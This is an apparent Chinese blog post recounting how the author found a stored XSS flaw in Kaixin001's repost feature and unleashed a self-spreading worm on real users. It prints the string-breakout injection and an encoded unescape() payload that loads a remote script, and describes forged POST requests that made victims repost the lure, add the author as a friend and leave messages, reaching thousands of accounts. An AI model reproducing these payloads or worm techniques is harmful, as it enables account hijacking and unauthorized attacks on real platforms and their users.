这两天在研究开心网的偷菜,想弄个自动偷菜的程序,(我当然不会是喜欢偷菜,开心网那些互动基本提不起我的兴趣,是为了小乖猫而已)忽然想起开心网互动性这么强,会不会有什么XSS或csrf漏洞什么的呢,所以我就开始试着找了

想起最近开心网新出了个转贴的组件,直觉告诉我那可能有问题,要不为什么在我想研究开心网的时候推出呢,呵呵

去看了一下,发现转贴的链接地址是以这种形式打开的onclick="javascript:showOtherUrlView('http://www.topsec.com.cn','view_5715644_3025611');",这个函数会先判断你的链接是不是开心网的,是的话直接打开,不是的话会有警告提示

直觉告诉我可以利用,要不他为什么要弄得这么麻烦呢,越麻烦越危险。思考了下,我构造了一个这样的链接http://www.kaixin001.com','');alert('test');showOtherUrlView(',然后提交了,成功了,而且没有被过滤,点了一下,果然弹出了个test的提示框,呵呵,有戏

因为这时候打开链接的代码变成了这样onclick="javascript:showOtherUrlView('http://www.kaixin001.com','');alert('test');showOtherUrlView('','');"这样的话,就欺骗了它,执行了我们自己的js了

接下来是看怎么利用,盗cookie?挂马?不,那不是我这样良好市民干的事。忽然我有点子了,还是弄点有意思的玩玩吧

不过接下来发现它对空格有过滤,而且还会转大小写,还会过滤些危险的js,所以就又麻烦了

不过困难怎么会阻挠23岁的花季熟男的脚步呢

 (unescape('%76ar%20s%3ddocumen%74.crea%74e%45lemen%74%28%27s%63%72%69pt%27%29%3bs.%73rc%3d%27http%3a//url/iii.%6A%73%27%3Bdocumen%74.bo%64y.appen%64Chil%64%28s%29')

换种执行方式,把要执行的代码编码后再执行,果然,成功了

加密部分是

var s=document.createElement('script');s.src='http://url/iii.js';document.body.appendChild(s)的变形

接下来是干什么呢,起码让他起到传播效果吧,所以,首先得让人点击后能把这个内容复制一份,自动发到他自己的转贴中去,这样,传播的效果才会猛

所以抓了个包,看了下发转贴的数据,然后在js里用ajax发了个同样的post,(起先打算直接在js里直接构造form提交的,但那样用户体验不好,我要求的用户体验是用户一点体验都没有,而且不能同时发多个post),但是,奇怪,总是不成功,返回数据告诉我没有权限,真他阿姨的奇怪了,抓包比对了一下,发现格式基本一样,就是cookie里的一个字段不一样,开始怀疑是这个问题,为了验证下,我在本地写了个form提交了下,竟然成功了,看来跟cookie无关,晕,我茫然了,开始折腾……………………两个小时过去了,终于问题发现了,是我ajax里的测试数据内容太短了,晕,发表个内容而已,又不是睡觉觉,干嘛非要长啊

终于,搞定了,测试了下,点击后可以自动发一条了

接下来就是该干点别的了

让他们加我为好友吧,抓了下数据,很简单的POST,OK了

让他们给小乖猫留言说羡慕她吧,抓了下数据,很简单的POST,OK了(在这我犯了个奇丑无比的错误,非好友是不能留言的)

让他们加我为好友吧,让我也知道有多少人中蠕虫了,抓了下数据,很简单的POST,OK了让他们在他的记录里写下祝我们快乐吧,抓了下数据,不简单的POST,不OK了,里面竟然有个验证码类的字段,验证码生成的,是记录那个页面的服务端返回的,而且都是写死在代码里的,忽然想起转贴的页面也有个验证码,是在js里用变量定义的,用起来很方便,但两个的值不一样,怎么办?不过试了下,竟然好用

最后整理了下要转贴的内容,标题是:开心网员工的秘密博客,内容是:好不容易才发现的,里面有很多劲爆的内容,然后填上欺骗的链接,我就不信没人点

然后测试了下,没问题,就睡觉了

早上起来打开电脑,晕,没有一个加我好友的,但一看,我的好友们都还没上线,还没人帮我传播呢

去上班了,吃完早饭,打开电脑一看,5000多要加我为好友的,,比我想象的还要猛,我正在憧憬着一天下来的话,开心网上所有的页面都会是我的转贴,每个人都会发条记录祝福我

不过,日,开心网很快就发现了,找到了我的JS,利用SQL语句批量,删了所有已经发生的,也修改了BUG,我损失比较大的是,他们删了我所有的系统信息,以及我的大部分好友,晕,删我新加的好友我可以理解,但把我一部分本来就是我的好友删了我很不能理解,但却不是全删,不知道用的是什么规则

OK,就是这样的,还好没被不法分子利用

Comments
Write a Comment